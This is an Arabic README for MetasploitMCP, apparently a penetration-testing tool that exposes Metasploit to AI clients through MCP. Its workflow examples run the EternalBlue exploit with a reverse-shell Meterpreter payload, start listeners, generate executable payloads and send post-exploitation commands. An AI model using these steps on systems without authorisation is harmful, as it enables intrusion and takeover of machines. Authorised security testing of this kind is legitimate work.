MetasploitMCP

خادم MCP لـ Metasploit

• list_active_sessions: عرض جلسات Metasploit الحالية مع معلومات تفصيلية
• send_session_command: تشغيل أمر في جلسة shell أو Meterpreter نشطة
• terminate_session: إنهاء جلسة نشطة قسريًا

إدارة المعالجات

• list_listeners: عرض جميع المعالجات النشطة والمهام الخلفية
• start_listener: إنشاء multi/handler جديد لاستقبال الاتصالات
• stop_job: إنهاء أي مهمة أو معالج قيد التشغيل

المتطلبات الأساسية

• تثبيت Metasploit Framework وتشغيل msfrpcd
• Python 3.10 أو أحدث
• حزم Python المطلوبة (انظر requirements.txt)

التثبيت

1. استنساخ هذا المستودع
2. تثبيت التبعيات:
   root@kitploit:~

   pip install -r requirements.txt
   

3. تكوين متغيرات البيئة (اختياري):
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

الاستخدام

شغّل خدمة Metasploit RPC:

خيارات النقل

يدعم الخادم طريقتين للنقل:

• HTTP/SSE (Server-Sent Events): الوضع الافتراضي للتوافق مع معظم عملاء MCP
• STDIO (Standard Input/Output): يُستخدم مع Claude Desktop والوصلات المباشرة المماثلة

يمكنك تحديد وضع النقل صراحةً باستخدام الخيار --transport:

خيارات إضافية لوضع HTTP:

التكامل مع Claude Desktop

للتكامل مع Claude Desktop، قم بتهيئة claude_desktop_config.json:

عملاء MCP الآخرون

بالنسبة لعملاء MCP الآخرين الذين يستخدمون HTTP/SSE:

1. شغّل الخادم في وضع HTTP:

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. قم بتهيئة عميل MCP للاتصال بـ:

   • نقطة نهاية SSE: http://your-server-ip:8085/sse

اعتبارات الأمان

⚠️ تحذير أمني مهم:

توفر هذه الأداة وصولًا مباشرًا إلى قدرات Metasploit Framework، والتي تشمل ميزات استغلال قوية. استخدمها بمسؤولية وفقط في البيئات التي لديك فيها إذن صريح لإجراء اختبار الأمان.

• تحقق دائمًا من جميع الأوامر وراجعها قبل التنفيذ
• شغّلها فقط في بيئات اختبار معزولة أو بتفويض مناسب
• كن على علم بأن أوامر ما بعد الاستغلال قد تؤدي إلى تعديلات كبيرة في النظام

أمثلة على سير العمل

استغلال أساسي

1. سرد الاستغلالات المتاحة: list_exploits("ms17_010")
2. تحديد وتشغيل استغلال: run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. سرد الجلسات: list_active_sessions()
4. تشغيل الأوامر: send_session_command(1, "whoami")

ما بعد الاستغلال

1. تشغيل وحدة ما بعد الاستغلال: run_post_module("windows/gather/enum_logged_on_users", 1)
2. إرسال أوامر مخصصة: send_session_command(1, "sysinfo")
3. إنهاء الجلسة عند الانتهاء: terminate_session(1)

إدارة المعالجات

1. بدء مستمع: start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. سرد المعالجات النشطة: list_listeners()
3. توليد حمولة: generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. إيقاف معالج: stop_job(1)

الاختبار

يتضمن هذا المشروع اختبارات وحدة وتكامل شاملة لضمان الموثوقية وقابلية الصيانة.

المتطلبات الأساسية للاختبار

تثبيت تبعيات الاختبار:

أو استخدم المُثبّت المريح:

تشغيل الاختبارات

أوامر سريعة

مجموعات اختبار محددة

خيارات الاختبار

بنية الاختبارات

• tests/test_options_parsing.py: اختبارات وحدة لوظيفة تحليل الخيارات المتسامحة
• tests/test_helpers.py: اختبارات وحدة للدوال المساعدة الداخلية وإدارة عميل MSF
• tests/test_tools_integration.py: اختبارات تكامل لجميع أدوات MCP مع خلفية Metasploit وهمية
• conftest.py: إعدادات وتركيبات اختبار مشتركة
• pytest.ini: إعدادات pytest مع خيارات التغطية

ميزات الاختبار

• محاكاة شاملة: جميع تبعيات Metasploit مُحاكاة، لذا تعمل الاختبارات دون الحاجة إلى تثبيت MSF فعلي
• دعم غير المتزامن: دعم كامل لاختبارات async/await باستخدام pytest-asyncio
• تقارير التغطية: تحليل تغطية مفصل مع تقارير HTML
• اختبارات مُعاملية: اختبار فعال لعدة سيناريوهات إدخال
• إدارة التركيبات: تركيبات اختبار قابلة لإعادة الاستخدام لسيناريوهات الإعداد الشائعة

تقارير التغطية

بعد تشغيل الاختبارات مع التغطية، تتوفر التقارير في:

• الطرفية: ملخص التغطية يُعرض بعد تشغيل الاختبار
• HTML: htmlcov/index.html (عند استخدام خيار --html)

التكامل مع CI/CD

للتكامل المستمر:

خيارات الإعداد

دليل حفظ الحمولات

بشكل افتراضي، تُحفظ الحمولات المولدة باستخدام generate_payload في دليل payloads داخل مجلد منزلك (~/payloads أو C:\Users\YourUsername\payloads). يمكنك تخصيص هذا الموقع عن طريق تعيين متغير البيئة PAYLOAD_SAVE_DIR.

تعيين متغير البيئة:

• Windows (PowerShell):

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Command Prompt):

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS:

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• في إعداد Claude Desktop:

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

ملاحظة: إذا حددت مسارًا مخصصًا، فتأكد من وجوده أو أن التطبيق لديه إذن بإنشائه. إذا كان المسار غير صالح، فقد يفشل توليد الحمولة.

الترخيص

Apache 2.0